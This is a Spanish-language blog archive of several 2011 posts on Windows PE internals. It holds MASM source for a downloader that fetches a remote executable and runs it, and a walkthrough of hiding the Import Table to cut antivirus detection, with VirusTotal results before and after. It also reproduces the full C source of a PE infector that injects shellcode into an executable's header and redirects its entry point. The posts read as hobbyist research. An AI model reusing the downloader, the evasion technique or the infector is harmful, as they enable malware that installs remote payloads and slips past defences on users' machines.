sencillo es un Downloader que haga uso primero de la API <a href="http://msdn.microsoft.com/en-us/library/ms775123(v=vs.85).aspx">URLDownloadToFile</a> para descargar un fichero desde una página web y después de la API <a href="http://msdn.microsoft.com/en-us/library/bb762153(v=vs.85).aspx">ShellExecute</a> para ejecutar el fichero descargado.</p> <p align="justify">Supongo que un antivirus al ver que las 2 únicas API que se usan son esas dos tan sospechosas detectará el fichero como posible Downloader.</p> <p align="justify">El código en ensamblador es sencillito:</p>
<pre class="brush: cpp">
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib urlmon.lib
includelib shell32.lib
.data
urlcalc db "http://sites.google.com/site/xyzthor/calc/calc.exi?attredirects=0&d=1", 0 ;Calculadora de windwos
nombre db "calc.exe", 0
action db "open", 0
.code
codigo:
push 0
push 0
push offset nombre
push offset urlcalc
push 0
call URLDownloadToFile
push SW_SHOW
push 0
push 0
push offset nombre
push offset action
push 0
call ShellExecute
push 0
call ExitProcess
end codigo
</pre>
<p align="justify">El código descarga la calculadora desde <a title="http://sites.google.com/site/xyzthor/calc/calc.exi?attredirects=0&d=1" href="http://sites.google.com/site/xyzthor/calc/calc.exi?attredirects=0&d=1">http://sites.google.com/site/xyzthor/calc/calc.exi?attredirects=0&d=1</a> y la ejecuta.</p> <p align="justify">Os subo <a href="http://www.multiupload.com/F0YI2TOJBL">aquí el ejecutable compilado</a>.</p> <p align="justify">Lo subimos a VirusTotal y <a href="http://www.virustotal.com/file-scan/report.html?id=f8ce5dc2048b6170c8c5e84ec04e9a1c2a1a20c40bd476f3fcba302bcb402d36-1302708881">lo detectan 27/42 AVs</a>. Algunos nombres son muy descriptivos: Heuristic.BehavesLike.Win32.Downloader.J</p> <p align="justify">Ahora aplicamos la técnica de ofuscar la IT. Esta vez para hacerlo mas sencillo he añadido 2 secciones y he puesto la IT en medio. Subo <a href="http://www.multiupload.com/EWO6QPSEFF">el ejecutable con la IT ofuscada</a> por si queréis echarle un ojo.</p> <p align="justify">Lo volvemos a subir a VT y <a href="http://www.virustotal.com/file-scan/report.html?id=38b0d7b4525a2ca83a2ace9641889feaa78c9b116291f4cb79241d5ac6d515ed-1302710957">lo detectan 20/42</a>. Algunos AVs no detectan esta muestra pero si la anterior y viceversa. Así que no es un a prueba muy concluyente, además no estoy seguro que lo detecten por heurística habría que probar los antivirus con la heurística desactivada y ver si detectan el ejecutable o no. A ver si sale pronto a la luz <a href="http://www.indetectables.net/foro/viewtopic.php?f=7&t=6347">KIMS 2.0</a> y puedo realizar algunas pruebas mas.</p> <p align="justify">Algo curioso es que Microsoft Security Essentials si detecta el downloader original:
<a href="http://lh4.ggpht.com/_FGFE7zLOsQk/TaXM_okQ-tI/AAAAAAAAAVA/4C5DczWQS90/s1600-h/image%5B3%5D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/TaXNAdcUzLI/AAAAAAAAAVE/39ezNGL4JmM/image_thumb%5B1%5D.png?imgmax=800" width="498" height="197" /></a></p> <p align="justify">Pero no detecta el ejecutable con la IT ofuscada, ¿no será capaz de leerla? ¿O influirán otras cosas?</p> <p align="justify">Un saludo!</p>Unknownnoreply@blogger.com6tag:blogger.com,1999:blog-4816745650066414070.post-21408914819902692952011-04-11T15:06:00.002+02:002011-04-11T20:58:43.129+02:00Ofuscación de la Import Table<p align="justify">Leyendo y probando cosas sobre la Import Table, IT, di con una forma de ofuscar o hacer mas difícil de leer la IT.</p> <p align="justify">La idea es poner la Import Table entre 2 secciones, al final de una y comienzo de la siguiente. Estas secciones en disco están separadas, pero una vez cargadas en memoria estarán juntas de modo que el cargador de Windows podrá leer correctamente la IT pero las herramientas que leen la IT en disco fallaran, como LordPE.</p> <p align="justify">Veámoslo mas detalladamente. </p> <p align="justify">Para las pruebas he compilado este programa en ensamblador(MASM) que solo muestra un MessageBox y finaliza: </p>
<pre class="brush: cpp">.386
.model flat, stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
.data
mensaje db "Primer programa de prueba", 0
titulo db "Sector Virus", 0
.code
codigo:
push MB_OK + MB_ICONINFORMATION
push offset titulo
push offset mensaje
push 0
call MessageBox
push 0
call ExitProcess
end codigo
</pre>
<p align="justify">Cuelgo <a href="http://www.multiupload.com/FA00SO0DGZ">aquí</a> el ejecutable.</p> <p align="justify">Podemos ver con Olly que el ejecutable tiene 3 secciones y que la IT está en la segunda sección, rdata:</p> <p align="justify"><a href="http://lh6.ggpht.com/_FGFE7zLOsQk/TaL8tNir-yI/AAAAAAAAATw/-AWHPyBaD3s/s1600-h/image%5B4%5D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL8tjUUh6I/AAAAAAAAAT0/8TTlsXC7Yos/image_thumb%5B5%5D.png?imgmax=800" width="314" height="62" /></a></p> <p align="justify">Veamos un resumen de las secciones con los valores que nos interesan:</p> <p align="justify"></p><blockquote><p align="justify">.text:
VirtualAddress 1000h
VirtualSize 26h
PointerToRawData 400h
SizeOfRawData 200h
.rdata
VirtualAddress 2000h
VirtualSize 92h
PointerToRawData 600h
SizeOfRawData 200h</p> <p align="justify">.data
VirtualAddress 3000h
VirtualSize 27h
PointerToRawData 800h
SizeOfRawData 200h</p></blockquote><p align="justify"></p> <p align="justify">Otro dato importante es que la IT empieza en la RVA 2010h</p> <p align="justify"><a href="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL8uM5ervI/AAAAAAAAAT4/FYwoyMKVEpo/s1600-h/image%5B9%5D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/TaL8uZEXmsI/AAAAAAAAAT8/QV0xWsetdBE/image_thumb%5B11%5D.png?imgmax=800" width="359" height="72" /></a></p> <p align="justify">Traducido a dirección física es la 610h.</p> <p align="justify">He realizado un esquema de como estaría el ejecutable en disco y en memoria para que se entienda mas fácilmente:</p> <p align="justify"><a href="http://lh3.ggpht.com/_FGFE7zLOsQk/TaL8u9s5b5I/AAAAAAAAAUA/YaLSgU78ofg/s1600-h/image%5B14%5D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL8vVOVjxI/AAAAAAAAAUE/qXGqvDK4gNI/image_thumb%5B14%5D.png?imgmax=800" width="443" height="318" /></a></p> <p align="justify">Nuestro objetivo es poner la IT al final de .rdata y comienzo de .data. Que estas secciones en disco estén separadas pero que en memoria estén juntas.</p> <p align="justify">Pero como vemos en el esquema en memoria la seccion .rdata y .data no están juntas, .rdata acaba en 2200h y .data empieza en 3000h. El valor SectionAlignment es 1000h así que las secciones tienen que empezar en valores múltiplos de 1000h por lo que no podemos hacer que la sección .data virutalmente empiece en 2200h, donde acaba .rdata. La única opción que nos queda es ampliar el tamaño de .rdata para que ocupe todo el espacio en memoria, desde 2000h hasta 3000h.</p> <p align="justify"></p> <p align="justify"></p> <p align="justify"><a href="http://lh4.ggpht.com/_FGFE7zLOsQk/TaL8wPwdDEI/AAAAAAAAAUI/V95UaAqN7aA/s1600-h/image%5B39%5D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/TaL8wif_R-I/AAAAAAAAAUM/nTfVIJYs1Yk/image_thumb%5B33%5D.png?imgmax=800" width="453" height="363" /></a></p> <p align="justify">Para ello debemos añadir D00h 00’s al final de .rdata para hacer que el tamaño de está sea 1000h. Hay que corregir los valores de las secciones tmb:
</p> <p align="justify"></p><blockquote><p align="justify">.text:
VirtualAddress 1000h
VirtualSize 26h
PointerToRawData 400h
SizeOfRawData 200h
.rdata
VirtualAddress 2000h
VirtualSize 92h
PointerToRawData 600h
SizeOfRawData <strong><span >1000h</span></strong></p> <p align="justify">.data
VirtualAddress 3000h
VirtualSize 27h
PointerToRawData <strong><span >1600h</span>
</strong>SizeOfRawData 200h</p></blockquote><p align="justify"></p> <p align="justify">Ahora ya podemos probar a mover la IT de sitio y ponerla entre las secciones .rdata y .data:</p> <p align="justify"><a href="http://lh4.ggpht.com/_FGFE7zLOsQk/TaL8xFSZtGI/AAAAAAAAAUQ/ShfwcnWllvc/s1600-h/image%5B38%5D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL8xr3I1vI/AAAAAAAAAUU/5KQqspHF2lk/image_thumb%5B32%5D.png?imgmax=800" width="439" height="361" /></a></p> <p align="justify">La IT ahora estará en disco en la posición 15FCh, que corresponde a la sección .rdata, pero finaliza en la sección .data. En memoria la IT estará en la posición 2FFCh, así que corregimos ese valor en la cabecera PE:</p> <p align="justify"><a href="http://lh6.ggpht.com/_FGFE7zLOsQk/TaL8yOmzzWI/AAAAAAAAAUY/-68QqPegeLw/s1600-h/image%5B27%5D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL8ysiEsiI/AAAAAAAAAUc/JsAxkV2_jXg/image_thumb%5B24%5D.png?imgmax=800" width="407" height="90" /></a></p> <p align="justify">Probamos el ejecutable y vemos que funciona correctamente. Ya lo último que nos queda es separar las secciones .rdata y .data en disco. Esto se hace simplemente insertando 00’s y corrigiendo los valores de las secciones. El esquema quedará así:</p> <p align="justify"><a href="http://lh3.ggpht.com/_FGFE7zLOsQk/TaL8zGEcMQI/AAAAAAAAAUg/eCWDHPfukjc/s1600-h/image%5B32%5D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/TaL80BpdYZI/AAAAAAAAAUk/ZEdXUM2_J4s/image_thumb%5B27%5D.png?imgmax=800" width="422" height="376" /></a></p> <p align="justify"></p> <p align="justify"></p> <p align="justify">Y las secciones:</p> <p align="justify"></p><blockquote><p align="justify">.text:
VirtualAddress 1000h
VirtualSize 26h
PointerToRawData 400h
SizeOfRawData 200h
.rdata
VirtualAddress 2000h
VirtualSize 92h
PointerToRawData 600h
SizeOfRawData 1000h</p> <p align="justify">.data
VirtualAddress 3000h
VirtualSize 27h
PointerToRawData <strong><span >1800h</span>
</strong>SizeOfRawData 200h</p></blockquote><p align="justify"></p> <p align="justify">El espacio entre 1600h y 1800h contiene 00’s y no será mapeado en memoria cuando se cargue el ejecutable ya que no corresponde a ninguna sección.</p> <p align="justify">Subo <a href="http://www.multiupload.com/A2E7JF8156">aquí el ejecutable modificado</a>.</p> <p align="justify">De este modo, como vemos en el esquema, la IT en memoria está junta pero en disco separada de modo que LordPE se confunde:</p> <p align="justify"><a href="http://lh3.ggpht.com/_FGFE7zLOsQk/TaL80iXmsqI/AAAAAAAAAUo/JQzXAkAurOE/s1600-h/image%5B48%5D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL81hUE2pI/AAAAAAAAAUs/ALmUR_Jc_uc/image_thumb%5B41%5D.png?imgmax=800" width="363" height="364" /></a></p> <p align="justify">No es la única herramienta que se confunde de hecho supongo que casi todas las herramientas que leen la IT en disco se confundirán. Por ejemplo en VirusTotal en la parte de información de un ejecutable nos muestra las funciones importadas. Con el ejecutable original podemos ver las 2 funciones que utiliza el exe:</p> <p align="justify"><a href="http://lh4.ggpht.com/_FGFE7zLOsQk/TaL81_26_GI/AAAAAAAAAUw/j745Ne1QoLE/s1600-h/image%5B53%5D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL83RWdnbI/AAAAAAAAAU0/32RpjbXWYNY/image_thumb%5B47%5D.png?imgmax=800" width="453" height="260" /></a></p> <p align="justify">Pero con la IT ofuscada no es capaz de leerla correctamente:</p> <p align="justify"><a href="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL83tq4U3I/AAAAAAAAAU4/0JNhY2Rg-qU/s1600-h/image%5B58%5D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL84k5gcYI/AAAAAAAAAU8/YmkdEPyhC7c/image_thumb%5B53%5D.png?imgmax=800" width="456" height="204" /></a></p> <p align="justify"></p> <p align="justify"></p> <p align="justify"></p> <p align="justify">Las heurísticas de los antivirus una de las cosas que hacen es fijarse en la IT ver que funciones usa el ejecutable y dependiendo de lo peligrosas que sean identificar un exe como un posible malware. ¿Será posible usando esta técnica engañar a la heurística de un AV?</p> <p align="justify">En la siguiente entrada hacemos unas pruebas.
Saludos!
PD: Hay un detalle que me he saltado para hacer la explicación mas sencilla de seguir. En la sección data están las cadenas que se usaran en el MessageBox, nosotros ahí hemos puesto parte de la IT de modo que es necesario desplazarlas de lugar y corregir el código.</p>Unknownnoreply@blogger.com3tag:blogger.com,1999:blog-4816745650066414070.post-20698306846693269972011-04-10T22:40:00.008+02:002011-04-10T22:56:50.898+02:00Simple pero rara forma de infectar un PE<p align="justify">El otro día gracias a Twitter (lo siento, no logro encontrar quien lo twitteo) dí con <a href="http://marcoramilli.blogspot.com/2011/03/pe-infector.html">esta entrada del blog de Marco Ramilli</a> donde explica como infectar un ejecutable de forma sencilla. Os dejo aquí el código todo junto:</p><pre class="brush: cpp">
#include <stdio.h>
#include <windows.h>
DWORD GetTextSectionOffset(PIMAGE_SECTION_HEADER pSectionHeader , int NumberOfSections)
{
while(NumberOfSections > 0)
{
if( !strcmpi((char*)pSectionHeader->Name , ".text"))
{
return pSectionHeader->PointerToRawData;
}
}
/* we did not find .text section */
return 0;
}
int main(int argc , char *argv[])
{
HANDLE hFile;
HANDLE hMap;
char *MappedFile = 0;
DWORD FileSize; /* file size */
DWORD delta;
DWORD SectionOffset; /* .text section offset*/
DWORD func_addr;
IMAGE_DOS_HEADER *pDosHeader;
IMAGE_NT_HEADERS *pNtHeader;
IMAGE_SECTION_HEADER *pSecHeader;
//The shell code to be injected !
char code[] = "\x6A\x00" /*push 0 */
"\xB8\x00\x00\x00\x00" /*mov eax , func_addr (address will be inserted automaticly)*/
"\xFF\xD0"; /*call eax */
if(argc != 2)
{
printf("parameters : %s [filename] \n", argv[0]);
printf("simple pe infector by _antony \n");
return 0;
}
printf("target: [%s] \n" , argv[1]);
//Opening the passed file:
hFile = CreateFile(argv[1] ,
GENERIC_WRITE | GENERIC_READ ,
0 ,
0 ,
OPEN_EXISTING ,
FILE_ATTRIBUTE_NORMAL ,
0);
if(hFile == INVALID_HANDLE_VALUE)
{
printf("[Error]: Can't open File! Error code : %d" , GetLastError());
return -1;
}
//Getting file size:
FileSize = GetFileSize(hFile , 0 );
printf("[File Size ]: %d \n", FileSize);
/* mapping file */
hMap = CreateFileMapping(hFile ,
0 ,
PAGE_READWRITE ,
0 ,
FileSize ,
0);
if(hMap == INVALID_HANDLE_VALUE)
{
printf("[Error]: Can't map file! Error code: %d\n" , GetLastError());
CloseHandle(hFile);
return -1;
}
MappedFile = (char*)MapViewOfFile(hMap , FILE_MAP_READ | FILE_MAP_WRITE , 0 , 0 , FileSize);
if(MappedFile == NULL)
{
printf("[Error]: Can't map file! Error code %d\n", GetLastError());
CloseHandle(hFile);
CloseHandle(hMap);
UnmapViewOfFile(MappedFile);
return -1;
}
//Mapping Headers:
pDosHeader = (IMAGE_DOS_HEADER*)MappedFile;
pNtHeader = (IMAGE_NT_HEADERS*)((DWORD)MappedFile + pDosHeader->e_lfanew);
pSecHeader = IMAGE_FIRST_SECTION(pNtHeader);
SectionOffset = GetTextSectionOffset(pSecHeader , pNtHeader->FileHeader.NumberOfSections);
if(SectionOffset == 0)
{
printf("[Error]: Can't find .text section!\n");
CloseHandle(hFile);
CloseHandle(hMap);
UnmapViewOfFile(MappedFile);
return -1;
}
delta = SectionOffset - sizeof(code);
int i;
BYTE check;
printf("scanning...\n");
//looking for free space (0x/00), if enough free space is found then copy shellcode.
for(i=0 ; i<sizeof(code) ; i++)
{
check = *((BYTE*)MappedFile + delta + i);
printf("%X \t", check);
if(check != 0)
{
printf("There is some data...\n");
CloseHandle(hFile);
CloseHandle(hMap);
UnmapViewOfFile(MappedFile);
return -1;
}
}
printf("Space if free , infecting File...\n");
//Inserting function addresses dynamically into the shellcode.
func_addr = (DWORD)GetProcAddress( LoadLibrary("kernel32.dll") , "ExitProcess");
for(i=0 ; i < sizeof(code) ; i++ )
{
if( *(DWORD*)&code[i] == 0x00000B8)
{
*(DWORD*)(code+i+1)= func_addr;
}
}
//Setting up new OEP.
printf("Old Entry Point : %08X \n" , pNtHeader->OptionalHeader.AddressOfEntryPoint);
memcpy(MappedFile+delta , code , sizeof(code));
//since delta is PointerToRawData - sizeof(code), it could be added as new OEP.
pNtHeader->OptionalHeader.AddressOfEntryPoint = delta;
printf("File infected!\n");
printf("New Entry Point: %08X \n" , delta);
CloseHandle(hFile);
CloseHandle(hMap);
UnmapViewOfFile(MappedFile);
return 0;
}
</pre><p align="justify">Viendo el código me doy cuenta que en la anterior entrada yo leía el fichero de una forma muy chapucera, reservando memoria con malloc y después leyéndolo entero de golpe, ¿que el fichero ocupa 100 MB? pues 100 MB de memoria que se ocupan… En esté código lo hace de la forma mas correcta, utilizando un fichero proyectado en memoria mediante las APIs CreateFileMapping y MappedFile. Aquí está explicado de lujo que son y para que sirven los archivos proyectados en memoria:<br /><a href="http://www.rinconcitodelphi.com/articulos/Rincones_archivo/Archivosenmemoria.pdf">Los rincones del API Win32: Archivos proyectados en memoria</a> <br />De ahora en adelante lo tendré en cuenta jeje.</p><p align="justify">Una cosa extraña es que a primera vista, tras leer el código y los comentarios que hizo Marco por encima, pensé que el código buscaba la sección .text, buscaba espacio libre en ella suficiente para escribir el injerto, lo escribía y cambiaba el EP. Pero no, en realidad busca la sección .text y justo antes de que está empiece, si no hay nada ahí, escribe el injerto. Y cómo habitualmente la sección .text es la primera y antes de ella está la cabecera PE, esto implica que el injerto es escrito en la cabecera PE, WTF! Yo pensaba que ahí no se podía escribir código ya que no tendría permisos de ejecución, pero parece ser que no es así.</p><p align="justify">Veamos un notepad.exe que me ha “infectado” este código. Lo primero vemos que las cabeceras ocupan 400h bytes.</p><p align="justify"><a href="http://lh6.ggpht.com/_FGFE7zLOsQk/TaIVuKVP2nI/AAAAAAAAATY/UcffD-Fyhyk/s1600-h/image%5B4%5D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/TaIVujfPptI/AAAAAAAAATc/hr9GFdqByV8/image_thumb%5B6%5D.png?imgmax=800" width="358" height="87" /></a></p><p align="justify">La sección .text comienza justo al final de la cabecera, en 400h:</p><p align="justify"><a href="http://lh3.ggpht.com/_FGFE7zLOsQk/TaIVu8QJrdI/AAAAAAAAATg/Kgwuar0vKcM/s1600-h/image%5B9%5D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/TaIVvTL6BuI/AAAAAAAAATk/CEvet8a4vyU/image_thumb%5B12%5D.png?imgmax=800" width="375" height="114" /></a></p><p align="justify">De modo que en el código que he puesto arriba la función GetTextSectionOffset devuelve 400h, después realiza este calculo:</p><pre class="brush: cpp">delta = SectionOffset - sizeof(code);</pre><p align="justify">Sustituyendo:</p><pre class="brush: cpp">delta = 400h - Ah;
delta = 3F6h</pre><p align="justify">Y en esa posición (que ya no forma parte de la sección .text, es la cabecera)busca con el bucle for si todos los bytes valen 0, en el caso de mi notepad esto es así, de modo que escribe ahí el injerto (en azul).</p><p align="justify"><a href="http://lh6.ggpht.com/_FGFE7zLOsQk/TaIVvzREYWI/AAAAAAAAATo/KyibieLA_As/s1600-h/image%5B15%5D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/TaIVwo0jXLI/AAAAAAAAATs/G0SUnUda_JU/image_thumb%5B19%5D.png?imgmax=800" width="346" height="131" /></a></p><p align="justify">El injerto invoca la funcion ExitProcess y finaliza el proceso.</p><p align="justify">Veo que para lo que hace este código no es necesario buscar la sección .text, simplemente podría mirar el tamaño de las cabeceras situarse al final y ver si hay espacio libre ahí para poner el código, al final de la cabecera PE. Así sería aun mas sencillo y funcionaría con ejecutables en los que la sección de código se llama .code, o .UPX por ejemplo.</p><p align="justify">Lo mas curioso de todo es que se pueda ejecutar código que esté en la cabecera PE, seguro que es útil.</p><p align="justify">Saludos!</p>Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-4816745650066414070.post-89261263879991130482011-03-22T01:39:00.009+01:002011-08-11T21:01:20.367+02:00Recorrer la Import Table en C<p align="justify">En el <a href="http://el-blog-de-thor.blogspot.com/2011/03/codigo-para-pasar-de-rva-offset.html">post del otro día</a> mostré una función de C para transformar de una dirección RVA a un offset del fichero en disco. Está función nos será útil para el objetivo de hoy: recorrer la Import Table de un ejecutable.</p> <p align="justify">Ya lo hicimos manualmente es estos dos post:
<a href="http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-12.html">http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-12.html</a>
<a href="http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-22.html">http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-22.html</a></p> <p align="justify">Resumiendo:</p> <ol> <li> <div align="justify">Debemos buscar la tabla de importaciones en el directorio de datos (PE+0x80), transformarla de RVA a Offset.</div> </li> <li> <div align="justify">Al inicio de la IT leeremos las distintas estructuras “IMAGE IMPORT DESCRIPTOR” hasta encontrar una vacía y en cada una de ellas:</div> <ol> <li> <div align="justify">Leemos el nombre de la dll a la que corresponde</div> </li> <li> <div align="justify">Recorremos la lista de punteros u ordinales apuntados por OriginalFirstThunk o si esta estuviera vacía la de FirstThunk.</div> </li> <li> <div align="justify">Si es un ordinal, empieza por 0x8…, le mostramos</div> </li> <li> <div align="justify">Si no, es una RVA de una estructura “IMAGE_IMPORT_BY_NAME” que contiene el nombre de la función importada, mostramos dicho valor.</div> </li> </ol> </li> </ol> <p align="justify">Os dejo el código:</p> <pre class="brush: cpp">#include <stdio.h>
#include <windows.h>
DWORD RVAToOffset(byte *buf, DWORD RVA);
int main(int argc, char *argv[])
{
if(argc != 2)
{
printf("Pasale un parametro !");
return EXIT_FAILURE;
}
HANDLE fichero = CreateFile((LPCTSTR)argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(fichero == INVALID_HANDLE_VALUE)
{
printf("Error abriendo el fichero");
return EXIT_FAILURE;
}
printf("IAT de %s\n", argv[1]);
DWORD size = GetFileSize(fichero, NULL);
byte *buf = (byte *)malloc(size);
DWORD bytesleidos;
ReadFile(fichero, buf, size, &bytesleidos, NULL);
CloseHandle(fichero);
//Si se consigue leer en el buffer todo el fichero continuar
if(size == bytesleidos)
{
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)buf;
if(pIDH->e_magic == IMAGE_DOS_SIGNATURE) //MZ
{
PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)&buf[pIDH->e_lfanew];
//Dirección de la Import Table
DWORD ITdir = pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
//El primer Image Import Descriptor está al principio de la IT
PIMAGE_IMPORT_DESCRIPTOR pIID = (PIMAGE_IMPORT_DESCRIPTOR)&buf[RVAToOffset(buf, ITdir)];
while(pIID->Name != 0)
{
printf("%s:\n", &buf[RVAToOffset(buf, pIID->Name)]);
PIMAGE_THUNK_DATA pITD;
//Se lee la INT (Import Name Table), si existe, sino la IAT
if(pIID->OriginalFirstThunk != 0) //En los exe's de borland OFT es 0, o no existe INT
pITD = (PIMAGE_THUNK_DATA)&buf[RVAToOffset(buf, pIID->OriginalFirstThunk)];
else
pITD = (PIMAGE_THUNK_DATA)&buf[RVAToOffset(buf, pIID->FirstThunk)];
while(pITD->u1.AddressOfData != NULL){
//Por ordinal o por nombre?
if((DWORD)pITD->u1.AddressOfData & IMAGE_ORDINAL_FLAG32) //0x80000000
printf(" Ord: %d\n", (DWORD)pITD->u1.AddressOfData & 0x7FFFFFFF);
else{
PIMAGE_IMPORT_BY_NAME pIIBN = (PIMAGE_IMPORT_BY_NAME)&buf[RVAToOffset(buf, pITD->u1.AddressOfData)];
printf(" %s\n", pIIBN->Name);
}
pITD++;
}
pIID++;
}
}
}
free(buf);
return EXIT_SUCCESS;
}
//Dada una dirección relativa virtual, RVA, la transforma a una posición exacta en el fichero
DWORD RVAToOffset(byte *buf, DWORD RVA)
{
//Se lee la cabecera DOS que está al principio
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)buf;
//Se lee la cabecera PE, el campo e_lfanew nos indica donde se encuentra dentro del fichero
PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)&buf[pIDH->e_lfanew];
//Buscamos a que sección pertenece la RVA para hacer los calculos correctos
for(DWORD i = 0; i < pINH->FileHeader.NumberOfSections; i++){
//Nos vamos desplazando por las secciones
PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)&buf[pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS) + i*sizeof(IMAGE_SECTION_HEADER)];
//Si la RVA está dentro del rango
if (pISH->VirtualAddress <= RVA && pISH->VirtualAddress + pISH->SizeOfRawData > RVA){
//Se realizan los cálculos
return RVA - pISH->VirtualAddress + pISH->PointerToRawData;
}
}
//Si no encuentra en ninguna sección retornamos -1
return -1;
}
</pre>
<p align="justify">Se admiten críticas al código, un saludo!</p>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-4816745650066414070.post-16730200274688210992011-03-15T17:35:00.001+01:002011-03-15T17:35:50.041+01:00Detección de información extra en ejecutables por Th3 Sw4sh<p align="justify">Mi amigo Th3 Sw4sh ha realizado un documento donde explica que es y para que se usa la información extra en ejecutables.</p> <p align="justify">A continuación copio la introducción del documento:</p> <blockquote> <p align="justify">La redacción de este documento tiene como fin explicar una forma de lograr detectar información extra no-original de un archivo ejecutable, que bien puede ser la parte binaria de un archivo quizá su información se encuentre encriptada, sumado a otro para luego darle cualquier uso podemos decir posiblemente (Stub – servidor), Técnica utilizada por los actuales “Encriptadores” . </p> <p align="justify">Empezaremos hablando de la utilidad y hablando del aprovechamiento de esta información respecto al malware, mostraré unos cuantos ejemplos y espero de una u otra forma les llegue a ser de ayuda.</p> </blockquote> <p align="justify">El documento y el código fuente en C para realinear secciones y así evitar que sea sencillo localizar esta información extra <a href="http://www.multiupload.com/0PK4VX1Z9P">lo subo por aquí</a>.</p> <p align="justify">Gracias Th3 Sw4sh!</p> Unknownnoreply@blogger.com1